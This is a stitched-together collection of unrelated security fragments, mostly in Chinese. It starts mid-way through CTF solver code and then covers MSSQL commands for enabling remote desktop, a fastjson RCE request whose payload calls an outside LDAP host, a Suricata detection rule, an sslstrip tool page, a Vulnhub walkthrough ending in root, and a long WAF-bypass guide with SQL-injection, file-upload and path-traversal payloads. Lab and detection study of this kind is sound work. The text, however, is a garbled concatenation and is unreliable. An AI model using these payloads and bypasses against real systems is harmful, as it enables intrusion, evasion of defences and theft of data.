xst(8, 44); xst(19, 5); xst(44, 13); xst(4, 19); roti(0x20); xst(10, 40); roti(0x80000000); roti(0x10000000000LL); xst(22, 34); xst(31, 16); xst(13, 19); roti(0x200000); xst(25, 19); xst(12, 10); roti(0x800000); xst(27, 37); xst(44, 21); xst(47, 23); roti(0x4000000); xst(9, 25); xst(27, 15); xst(9, 12); xst(41, 43); xst(21, 4); roti(0x40000000); xst(20, 5); xst(15, 41); roti(0x100000); roti(0x4000000000LL); roti(0x400000000000LL); xst(31, 32); xst(35, 34); xst(1, 38); xst(16, 20); xst(43, 23); xst(27, 25); xst(29, 17); xst(8, 9); roti(0x40000000); xst(13, 0); roti(0x400000); xst(16, 7); xst(43, 45); xst(6, 10); xst(43, 22); xst(1, 8); xst(18, 36); xst(30, 5); roti(0x40000000); xst(32, 26); roti(0x200000000000LL); roti(4); xst(34, 20); xst(28, 47); xst(46, 8); xst(22, 20); xst(16, 1); roti(4); xst(38, 47); xst(5, 6); roti(0x800000000000LL); xst(45, 22); roti(0x10000); roti(0x200000000LL); roti(0x8000000); xst(40, 8); xst(2, 36); xst(27, 16); xst(7, 2); xst(46, 0); xst(37, 6); xst(36, 4); xst(27, 17); xst(19, 37); roti(0x40000000000LL); xst(1, 31); xst(4, 43); roti(0x40000000000LL); roti(0x800000); xst(30, 43); long long result=finalize(); printf("FLAG{%lld}\n", result); }
sec-knowleage
# SqlServer 常用操作远程桌面语句 ### 1、是否开启远程桌面 * 1:表示关闭 * 0:表示开启 ```sql EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections' ``` ![](media/f01ea9712b6f116b14c9b9e75b7d49cd.jpg) ### 2、读取远程桌面端口 ```sql EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp', 'PortNumber' ``` ![](media/061010d0371ed380f50bbb96911c6d80.jpg) ### 3、开启远程桌面 ```sql EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\TerminalServer', 'fDenyTSConnections','REG_DWORD',0; ``` **reg 文件开启远程桌面:** ```ini Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer] "fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp] "PortNumber"=dword:00000d3d ``` //// 保存 micropoor.reg,并执行 regedit /s micropoor.reg **注:如果第一次开启远程桌面,部分需要配置防火墙规则允许远程端口。** ```bash netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow ``` ### 4、关闭远程桌面 ```sql EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\TerminalServer', 'fDenyTSConnections','REG_DWORD',1; ``` <p align="right">--By Micropoor </p>
sec-knowleage
flag = 'TWCTF{CENSORED}' # Public Parameters N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091 e = 65537 # Encrypt the flag! for char in flag: print(pow(ord(char), e, N))
sec-knowleage
version: '2' services: weblogic: image: vulhub/weblogic:10.3.6.0-2017 ports: - "7001:7001"
sec-knowleage
# T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:<https://www.freebuf.com/vuls/208339.html> 影响版本:Fastjson1.2.24以及之前的所有版本 ## 检测日志 HTTP ## 测试复现 具体测试过程请参考:<https://jishuin.proginn.com/p/763bfbd290cf> ```yml POST / HTTP/1.1 Host: 172.17.41.103:27760 Accept: */* User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/json;charset=UTF-8 Content-Length: 163 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://172.17.42.24:9999/TouchFile", "autoCommit":true } } ``` ## 检测规则/思路 ### Suricata规则 ```s alert http any any -> any any (msg:"CNVD-2017-02833-fastjson1.2.24远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"com.sun.rowset.JdbcRowSetImpl";http_client_body;reference:url,jishuin.proginn.com/p/763bfbd290cf;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Fastjson‐CNVD‐2017‐02833 <https://jishuin.proginn.com/p/763bfbd290cf> Fastjson<1.2.24远程代码执行(CNVD-2017-02833) <https://blog.csdn.net/weixin_43071873/article/details/109368166> Fastjson系列漏洞实战和总结 <https://blog.csdn.net/qq_41832837/article/details/109038795>
sec-knowleage
--- title: sslstrip categories: Information Gathering tags: [sslstrip, information gathering, kali linux] date: 2020-07-19 08:57:45 --- 介绍 ------ sslstrip是一种工具,可以透明地劫持网络上的HTTP流量,监视HTTPS链接和重定向,然后将这些链接映射到外观相似的HTTP链接或与同形图相似的HTTPS链接。它还支持提供图标的模式,这些图标看起来像是锁定图标、选择性日志记录和会话拒绝。 工具来源:https://github.com/moxie0/sslstrip [主页][1] | [仓库][2] + 作者:Moxie Marlinspike + 证书:GPlv3 sslstrip包中包含的工具 ------ sslstrip – SSL/TLS中间人攻击工具 ``` root@kali:~# sslstrip -h sslstrip 0.9 by Moxie Marlinspike 用法: sslstrip <options> 可选参数: -w <filename>, --write=<filename> 指定要写入日志的文件(可选)。 -p , --post 仅记录SSL POSTs(默认)。 -s , --ssl 记录所有与服务器之间的SSL通信。 -a , --all 记录所有与服务器之间的SSL和HTML通信。 -l <port>, --listen=<port> 要监听的端口(默认10000)。 -f , --favicon 在安全请求上替换一个锁定图标。 -k , --killsessions 终止正在进行的会话。 -h 显示此帮助信息。 ``` sslstrip用法示例 ------ 将结果写入文件(-w sslstrip.log),监听8080端口(-l 8080): ``` root@kali:~# sslstrip -w sslstrip.log -l 8080 sslstrip 0.9 by Moxie Marlinspike running... ``` [1]: https://moxie.org/software/sslstrip/ [2]: https://gitlab.com/kalilinux/packages/sslstrip
sec-knowleage
# Deception > https://download.vulnhub.com/haclabs/Deception.ova 靶场IP:`192.168.32.19` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.19 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 21:52 EDT Nmap scan report for 192.168.32.19 Host is up (0.00010s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 08:00:27:5B:E3:02 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds ``` 访问80端口 ![image-20220914100249737](../../.gitbook/assets/image-20220914100249737.png) 爆破目录 ``` ┌──(root㉿kali)-[~] └─# dirb http://192.168.32.19/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Sep 13 22:07:45 2022 URL_BASE: http://192.168.32.19/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.19/ ---- + http://192.168.32.19/index.html (CODE:200|SIZE:11026) ==> DIRECTORY: http://192.168.32.19/javascript/ ==> DIRECTORY: http://192.168.32.19/phpmyadmin/ + http://192.168.32.19/server-status (CODE:403|SIZE:278) ==> DIRECTORY: http://192.168.32.19/wordpress/ ---- Entering directory: http://192.168.32.19/javascript/ ---- ==> DIRECTORY: http://192.168.32.19/javascript/jquery/ ---- Entering directory: http://192.168.32.19/phpmyadmin/ ---- ==> DIRECTORY: http://192.168.32.19/phpmyadmin/doc/ + http://192.168.32.19/phpmyadmin/favicon.ico (CODE:200|SIZE:22486) + http://192.168.32.19/phpmyadmin/index.php (CODE:200|SIZE:10525) ==> DIRECTORY: http://192.168.32.19/phpmyadmin/js/ + http://192.168.32.19/phpmyadmin/libraries (CODE:403|SIZE:278) ==> DIRECTORY: http://192.168.32.19/phpmyadmin/locale/ + http://192.168.32.19/phpmyadmin/phpinfo.php (CODE:200|SIZE:10527) + http://192.168.32.19/phpmyadmin/setup (CODE:401|SIZE:460) ==> DIRECTORY: http://192.168.32.19/phpmyadmin/sql/ + http://192.168.32.19/phpmyadmin/templates (CODE:403|SIZE:278) ==> DIRECTORY: http://192.168.32.19/phpmyadmin/themes/ ---- Entering directory: http://192.168.32.19/wordpress/ ---- + http://192.168.32.19/wordpress/index.php (CODE:301|SIZE:0) + http://192.168.32.19/wordpress/robots.txt (CODE:200|SIZE:22) ==> DIRECTORY: http://192.168.32.19/wordpress/wp-admin/ ==> DIRECTORY: http://192.168.32.19/wordpress/wp-content/ ==> DIRECTORY: http://192.168.32.19/wordpress/wp-includes/ + http://192.168.32.19/wordpress/xmlrpc.php (CODE:405|SIZE:42) ---- Entering directory: http://192.168.32.19/javascript/jquery/ ---- + http://192.168.32.19/javascript/jquery/jquery (CODE:200|SIZE:268026) ``` 访问:`/wordpress/ ` ![image-20220914100958242](../../.gitbook/assets/image-20220914100958242.png) 访问:`/wordpress/robots.txt` ![image-20220914101031818](../../.gitbook/assets/image-20220914101031818.png) 枚举用户 ``` ┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.32.19/wordpress/ -eu [i] User(s) Identified: [+] haclabs | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] yash | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) ``` 访问:`/wordpress/robots.html`,输入内容,弹窗,看不出什么东西。 ![image-20220914101453486](../../.gitbook/assets/image-20220914101453486.png) 查看页面源代码,说要点击大于15次就会跳转到:`admindelete.html` ``` <html> <body> <script> var count = 1; function myFunction() { if (count<15) { var input = document.getElementById("uname").value; alert("clicks left for noob "+ input +":"+ (50-count)); count++; } else { window.location="admindelete.html"; } }; </script> <input type="text" id="uname" placeholder="your name"</input> <br> <button onclick="myFunction()">show quest</button> </body> </html> ``` 直接访问:`admindelete.html` ![image-20220914101639788](../../.gitbook/assets/image-20220914101639788.png) 按照提示,访问:`hint.html` ![image-20220914102112144](../../.gitbook/assets/image-20220914102112144.png) 回去首页,收集API token ![image-20220914102211915](../../.gitbook/assets/image-20220914102211915.png) ``` <!-- Modified from the Debian original for Ubuntu Last updated: 2016-11-16 API old0 : 5F4DCC3B5AA See: https://launchpad.net/bugs/1288690 --> <!--API old2 : 327DEB --> <!--API old 1 : 765D61D8 --> <!--API new : 882CF99--> ``` 收集所有 API 并将它们排列成一行后,所有 API 令牌看起来像这样:**5F4DCC3B5AA765D61D8327DEB882CF99** 我尝试了所有 API 令牌登录用户名 yash 和密码创建了所有 API 密钥,我得到了 yash 用户 shell ``` ssh yash@192.168.32.19 ``` ![image-20220914102614141](../../.gitbook/assets/image-20220914102614141.png) 获得第一个flag ``` yash@haclabs:~$ ls flag1.txt yash@haclabs:~$ cat flag1.txt JUST BELIEVE IN YOU!! 71C480DF93D6AE2F1EFAD1447C66C9525E316218CF51FC8D9ED832F2DAF18B73 ``` 我们尝试使用 cat 命令读取此文件的内容。我发现了一些非常有用的东西。 ``` cat .systemlogs ``` ![image-20220914102915548](../../.gitbook/assets/image-20220914102915548.png) (第一个是 `haclabs` )和(第二个是**A=123456789**)(第三个是**+A[::-1]**) 我将第二个值视为变量,第三个看起来像 String Slicing the variable A,我们找到了这样的值(hacklabs987654321) 使用su(切换用户命令)将当前用户yash更改为haclabs并尝试密码**haclabs987654321**,我们的shell更改成功 ![image-20220914103121105](../../.gitbook/assets/image-20220914103121105.png) 我移动到 haclabs 主目录,我们看到了我们的第二个标志 ![image-20220914103218956](../../.gitbook/assets/image-20220914103218956.png) 再次使用密码 haclabs 将我们的 shell 普通用户升级为超级用户 root sudo su 命令 ![image-20230208134530793](../../.gitbook/assets/image-20230208134530793.png)
sec-knowleage
# Level05 #### About Check the flag05 home directory. You are looking for weak directory permissions To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05. #### Source code There is no source code available for this level #### Solutions ``` ls -all /home/flag05/ ls -all /home/flag05/.backup/ cp /home/flag05/.backup/backup-19072011.tgz /tmp/ cd /tmp tar xvf /tmp/backup-19072011.tgz ssh -i /tmp/.ssh/id_rsa flag05@127.0.0.1 /bin/getflag ``` #### Recommends ssh-keygen ---- ssh-keygen -b 2048 -t rsa -C "this is my ssh key" -f ssh_key_file ---- /etc/ssh/moduli ---- /etc/ssh/ssh_config ---- /etc/ssh/sshd_config ---- /etc/ssh/ssh_host_ecdsa_key.pub ---- /etc/ssh/ssh_import_id
sec-knowleage
### freelist 劫持介绍 与用户态 glibc 中分配 fake chunk 后覆写 `__free_hook` 这样的手法类似,我们同样可以通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改内核当中一些有用的数据以完成提权(例如一些函数表等)。
sec-knowleage
## We lost the Fashion Flag! (Forensics, 100p) In Sharif CTF we have lots of task ready to use, so we stored their data about author or creation date and other related information in some files. But one of our staff used a method to store data efficiently and left the group some days ago. So if you want the flag for this task, you have to find it yourself! Download fashion.tar.gz ###ENG [PL](#pl-version) In this task we had a bunch of unknown files and one `fashion.model`. Looking at hexdump of it, we see string "FemtoZIP". It turns out it's name of a compression program. Downloading it and decompressing the files, we have a couple thousand of files with contents like: ``` {'category': 'reverse', 'author': 'staff_4', 'challenge': 'Fashion', 'flag': 'SharifCTF{b262389c6b7a6b5f112547d5394079db}', 'ctf': 'Shairf CTF', 'points': 300, 'year': 2014} ``` Every file had different flag. However, we could grep all the files for correct year, category etc. using command: `for f in `ls`; do cat $f | grep "'points': 100" | grep "'category': 'forensic'" | grep "'year': 2016"; done` This gives us only five results, first one of which is correct. ###PL version W tym zadaniu dostaliśmy sporo nieznanych plików i jeden `fashion.model`. Hexdump z niego zawiera tekst "FemtoZIP". Okazuje się, że to program do kompresji danych. Pobierając go i odpalając, otrzymujemy kilka tysięcy plików z zawartością w stylu: ``` {'category': 'reverse', 'author': 'staff_4', 'challenge': 'Fashion', 'flag': 'SharifCTF{b262389c6b7a6b5f112547d5394079db}', 'ctf': 'Shairf CTF', 'points': 300, 'year': 2014} ``` Każdy plik zawierał jednakże inną flagę. Ale od czego jest grep! Użyliśmy go do odfiltrowania zawartości ze śmieci: `for f in `ls`; do cat $f | grep "'points': 100" | grep "'category': 'forensic'" | grep "'year': 2016"; done` W tym momencie zostało już tylko pięć flag, jedna z których jest poprawna.
sec-knowleage
原文 by [破-见](https://weibo.com/ttarticle/p/show?id=2309404007261092631700&sudaref=www.google.com.hk&display=0&retcode=6102) 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分。还是那句老话“不知攻焉知防”,如果连绕过WAF方法都不知道,怎么保证WAF能保护后端服务的安全。在我看来,WAF的绕过技术的研究将不断驱动防御水平提高。 以前一些WAF bypass的文章更像CASE的整理,都把焦点放在了规则对抗层面。绕过WAF规则,更像是正面对抗,属于下策。一直关注规则层面的绕过,太局限视野,看不到WAF在其他方面问题。木桶原理,防御能力并不会有本质的提高。本文将从4个层次讲解bypass WAF的技术,全方位提升WAF的防御能力。 讲完相关攻击技术后,以后再探讨WAF的设计架构、防御策略,这样显得每一处的考虑都是有意义的。 * 从架构层Bypass WAF 。 * 从资源限角度bypass WAF。 * 从协议层面bypass WAF。 * 从规则缺陷bypass WAF。 ## 1. 架构层绕过WAF ### 1.1 寻找源站 如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、360安全卫士等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,liusscs.com接入接入WAF后,liusscs.comd的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。 云WAF流量路径 ![waf1](../pictures/waf1.png) 假设我们是攻击者,如何绕过WAF的安全检测呢? 从云WAF架构考虑,如果HTTP请求都没有经过WAF集群直接到达源站,顺理成章bypass WAF。所以关键在于发现源站的IP地址。常用方法如下,可能还有很多很多思路,欢迎补充: 1) 信息泄露发现源站IP。信息泄露的途径很多,细心留意往往能发现。我常用的方法如下: * 网站页面注销是否包含源站IP。 * GIHUB源代码泄露是否包含源站IP。 * 未接入WAF前,真实IP地址是否被搜索引擎等服务收录。 2) 穷举IP地址,根据特征发现服务器真实IP地址。对于国内的服务器,穷举国内的IP,访问每个IP的HTTP服务,根据页面特征检测响应页面,判断IP是否为源站IP地址。曾经乌云有人分享过,完成一次国内IP扫描只需要8-9小时,可是现在找不到那篇文章。 ### 1.2 利用同网段 一些在云服务商的站点,同时使用云服务商提供的WAF服务。当流量不是通过DNS解析引流到WAF,流量必须经过WAF的检测,这是不能通过发行源站进行绕过。可以考虑在云服务商买一台VPS,通过VPS攻击目标站点,因为流量是局域网,可能不经过WAF检测,实现绕过。能不能成功,关键在于云服务商的网络配置。 ![waf2](../pictures/waf2.png) 攻击机器与目标机器在同一局域网 ### 1.3 利用边界漏洞 如果未能发现源站IP,可以尝试寻找子站的SSRF漏洞。如果子站访问目标站不经过WAF集群,可以利用SSRF漏洞来绕过WAF。 ## 2. 资源限制角度绕过WAF 这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。 ## 3. 协议层面绕过WAF的检测 即使流量都确保经过WAF,如果WAF的防御策略根本就没有检测payload,那么也就能绕过WAF。协议层面绕过WAF,利用WAF解析协议的问题,使得payload被认为不是请求的HTTP请求的内容。从个人经验总结出WAF解析协议的常出现问题的三个方向。 * 协议覆盖不全。 * 协议解析不正确。 * 协议解析后与WEB容器的协议解析不一致。 以下以实例说明利用协议绕过WAF的方法。通过CASE解析什么是协议覆盖不全、协议解析不正确、协议解析不一致。 ### 3.1 协议未覆盖绕过WAF POST 请求常用有2种参数提交方式: * Content-Type: application/x-www-form-urlencoded; * Content-Type: multipart/form-data; Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过。如图,加速乐的WAF就存在被绕过的情况,是典型的协议未覆盖。 ![waf3](../pictures/waf3.png) 普通攻击请求被拦截 ![waf4](../pictures/waf4.png) 协议未覆盖导致绕过 ### 3.2 利用协议解析不一致绕过WAF的典型例子 如图中的payload,WAF解析出来上传的文件名是test3.jpg,而PHP解析到的文件名是”test3.jpg\nf/shell.php”,因为”/”是目录分隔符,上传的文件名变为shell.php,从而绕过WAF的防御。当时这个方法几乎通杀所有WAF,可见利用协议层绕过WAF的威力。就文件上传而言,还有更多因为协议解析导致绕过,见3.3节。 ![waf5](../pictures/waf5.png) WAF与PHP解析文件上传协议不一致导致绕过 ### 3.3 利用协议解析问题绕过WAF文件上传 WAF的文件上传规则使用正则表达式匹配上传的文件名是否包含“0x00”等,所以正面绕过正则表达式匹配几乎不可能。如果不从规则角度考虑,利用协议解析问题让WAF无法匹配到正确的文件名,就能绕过WAF实现文件上传。 3.3.1 协议解析不正确-文件名覆盖(一) 在multipart协议中,一个文件上传块存在多个Content-Disposition,将以最后一个Content-Disposition的filename值作为上传的文件名。许多WAF解析到第一个Content-Disposition就认为协议解析完毕,获得上传的文件名,从而导致被绕过。如图,加速乐的WAF解析得到文件名是”sp.pho”,但PHP解析结果是”sp.php”,导致被绕过。 ![waf6](../pictures/waf6.png) ​3.3.2 协议解析不正确-文件名覆盖(二) 在一个Content-Disposition 中,存在多个filename ,协议解析应该使用最后的filename值作为文件名。如果WAF解析到filename="p3.txt"认为解析到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是t3.jsp。 Content-Disposition: form-data;name="myfile"; filename="p3.txt";filename="t3.jsp" 3.3.3 协议解析不正确-遗漏文件名 当WAF遇到“name=”myfile";;”时,认为没有解析到filename。而后端容器继续解析到的文件名是t3.jsp,导致WAF被绕过。 Content-Disposition: form-data;name="myfile";; filename="t3.jsp"。 3.3.4 协议解析不正确-未解析所有文件 multipart协议中,一个POST请求可以同时上传多个文件。如图,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过。 ![waf7](../pictures/waf7.png) ![waf8](../pictures/waf8.png) ​ ​3.3.5 协议解析不一致-文件名解析兼容性 multipart协议中,文件名的形式为“filename="abc.php"”。但是Tomcat、PHP等容器解析协议时会做一些兼容,能正确解析 ”filename="abc.php”、”filename=abc.php”、 ”filename='abc.php'”。而WAF只按照协议标准去解析,无法解析文件名,但是后端容器能正确获得文件名,从而导致被绕过。场景的绕过形式: * Content-Disposition: form-data; name="file"; filename=abc.php * Content-Disposition: form-data; name="file"; filename="abc.php * Content-Disposition: form-data; name="file"; filename='abc.php' ### 3.4 参数污染 请求中包含2个参数名相同的参数typeid,第一个是正常参数的值,第二个参数才是payload。如果WAF解析参数使用第一个值,没检查第二个值,将导致绕过。这是很久很久的一个CASE,现在几乎没有WAF存在这个问题。 `/forum.php?typeid=644&typeid=if(now()%3dsysdate()%2csleep(19.844)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(19.844)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(19.844)%2c0))OR%22*/` ### 3.5 小结 当想到利用协议解析绕过WAF检测时,并不敢确定效果,经过实践检验,协议解析绕过WAF的思路可行且有效。在研究利用协议绕过WAF时,需要大胆地猜测WAF解析协议时容易犯什么错误,科学地一点点验证。通过分析PHP、tomcat的协议解析源码,找出它们与HTTP标准协议的差异是发现绕过WAF的快速有效方法。 本节利用multipart/form-data协议解析过问题文件上传的思路,思路同样可用于绕过multipart/form-data协议POST FROM表单提交参数的检测。 ## 4. 规则层面的绕过 对基于正则表达式的WAF,绕过WAF规则主要思考安全工程师写WAF规则时在想什么,容易忽略什么,推断一些可能绕过的方式,然后多次尝试进行验证。比起完整罗列绕过CASE,我更喜欢分析绕过思路。这次以最受关注的SQL注入、文件包含为例,分析一下绕过思路。 ### 4.1. SQL注入绕过 绕过SQL注入规则主要利用WAF规则本身的问题、未考虑到SQL语法变形、及后端数据库SQL语句语法特性。不同的数据库虽然遵守SQL标准,但是通常会加入特有的语法。WAF的防御策略要兼顾各种数据库的特殊语法,容易遗漏,从而被利用绕过WAF。以下MySQL为例,分析绕过SQL注入的一些思路。 4.1.1 注释符绕过 `/*xxx*/`是注释,也可以充当空白符。因为 `/**/`可使得MySQL对sql语句(`union/**/select`)词法解析成功。事实上许多WAF都考虑到`/**/`可以作为空白分,但是waf检测 `/\*.*\*/`很消耗性能,工程师会折中,可能在检测中间引入一些特殊字符,例如:`/*\w+*/`。或者,WAF可能只中间检查n个字符`/\*.{,n}\*/`。根据以上想法,可以逐步测试绕过方法: * 先测试最基本的:`union/**/select` * 再测试中间引入特殊字:`union/*aaaa%01bbs*/select` * 最后测试注释长度:`union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select` 同理,对于`/*!xxx*/`,可以采取类似的思路绕过WAF。 4.1.2 空白符绕过 基于正则表达式的WAF, SQL注入规则使用正则表达式的“\s”匹配空格,例如”select\s+union”。利用正则表达式的空白符与MySQL空白符的不同可绕过WAF规则。如何这些MySQL的特性?通过fuzz,每次更改正常SQL语句的某部分,替换为其他字符,判断语法是否正确,即可判断出来MySQL语法特性。当然,也可以通过分析MySQL词法来发现语法特性,从而找到绕过方法。 利用空白符进行绕过,测试WAF时尽可能减少其他原因的影响,例如”union select”被拦截,只需把中间空白符替换为”%250C”, “%25A0”进行绕过测试。 * union%250Cselect * union%25A0select ![waf9](../pictures/waf9.jpg) 4.1.3 函数分隔符 对基于正则表达式的WAF,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。例如匹配函数”concat()”的规则写法,“concat(”或者”concat\s*(”,就没有考虑到一些特殊字符。相应的绕过方法,在特殊位置引入特殊的分隔符,逐个测试。这些特殊分隔符发现也是通过Fuzz出来的。 * concat%2520( * concat/**/( * concat%250c( * concat%25a0( 举一反三,寻找类似的关键位置,Fuzz特殊字符,发现更多的绕过新方法。猜测工程师们写规则因为各种原因容易遗漏的点,进行绕过WAF检测。 4.1.4 浮点数词法解析 利用MySQL解析浮点数的特点,正则表达式无法匹配出单词union,但是MySQL词法解析成功解析出浮点数、sql关键字union。 * select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 * select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 * select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0 4.1.5 利用error-based进行SQL注入 Error-based的SQL注入函数非常容易被忽略,导致WAF规则过滤不完整。随着对MySQL研究越来越深,被发现可用于error-based SQL注入的函数越来越多,同时也给绕过WAF造就了更多机会。常见的函数: * extractvalue(1, concat(0x5c,md5(3))); * updatexml(1, concat(0x5d,md5(3)),1); * GeometryCollection((select*from(select*from(select@@version)f)x)) * polygon((select*from(select name_const(version(),1))x)) * linestring() * multipoint() * multilinestring() * multipolygon() 利用Error-based的SQL注入函数进行绕过时,可以结合函数分隔符,或其他方法灵活运用。 4.1.6 Mysql特殊语法 最有效的发现手段,还是去读读MySQL词法分析源代码。和协议绕过类似,挖掘SQL标准与MySQL的词法分析差异是发现WAF SQL注入绕过的有效手段。以下是MySQL语法的一个特写(ps:不是我发现的): select{x table_name}from{x information_schema.tables}; 4.1.7 综合利用实例 以上都是SQL注入绕过中的技术点,在实际渗透测试中,需要灵活综合利用才能达到完整绕过,读取数据数据。以下给出完整绕过WAF SQ注入检测的实例。如图,本例中综合多个绕过技术点,最终实现完整绕过实现读取数据。 * 利用浮点数词法解析,绕过union select 的检测。 * 同样,函数分隔符思想集和浮点数词法解析,绕过关键字from的检测。 * 最后空白分分割绕过INFORMATION_SCHEMA.TABLES的检查 ![waf11](../pictures/waf11.png) ### 4.2 文件包含 文件包含分为相对路径、绝对路径文件包含。在相对路径文件包含中,最终根据Linux虚拟文件系统(vfs)的规则查找文件,通过分析vfs的文件路径解析规则,提取其中规则特点,用这些特点去绕过WAF。在绝对文件路径包含中,主要是根据攻击场景,WAF未过滤一些协议、未过滤某些特殊路径。 4.2.1 相对路径的绕过 写WAF文件包含规则时,如果检测单一的”../”,误报会非常多,所以WAF文件包含规则通常会检测连续的“../"。根据vfs解析路径的语法,解析到“//”文件路径不变,解析到“/./”文件路径依然。 通过避免连续的"../",从而绕过WAF文件包含规则。Eg: `././..///./.././/../etc//passwd`,它等价于`../../../etc/passwd`。如图,一个实际的绕过WAF文件包含的 CASE ![waf13](../pictures/waf13.png) ​4.2.2 绝对路径的绕过(一) * WAF没有考虑到路径中插入“/./”、“//”对于vfs解析路径是等价的,导致可被绕过。例如 /etc/./passwd 与 /etc/passwd 是等价的。还可以通过组合“/./”、“//”进行绕过,eg. /etc///.//././/passwd。 ![waf15](../pictures/waf15.png) * ​对于绝对路径文件包含,WAF一般会拦截常见路径,而不会防御所有的绝对路径。因此,在渗透测试中,可以包含其他的路径下一些文件,例如/usr/local/nginx/conf/nginx.conf。 ![waf17](../pictures/waf17.png) * 如果WAF只检测连续的../,检查开始路径为Linux的目录名,可以采用/wtt/../绕过WAF文件包含检测。 例如,“/wtt/../etc/passwd”, wtt不是Linux标准目录,不会被规则匹配。WAF只检测连续的../,但是只使用一个../,不被拦截。最终读取/etc/passwd文件。 4.2.2 绝对路径的绕过(二) 利用WAF未检测的协议。PHP 文件包含支持的协议,在渗透测试中,看环境选择可行的方法 * file:// — Accessing local filesystem * http:// — Accessing HTTP(s) URLs * ftp:// — Accessing FTP(s) URLs * php:// — Accessing various I/O streams * zlib:// — Compression Streams data:// — Data (RFC 2397) * glob:// — Find pathnames matching pattern * phar:// — PHP Archive * ssh2:// — Secure Shell 2 * rar:// — RAR * ogg:// — Audio streams * expect:// — Process Interaction Streams ## 5. 总结 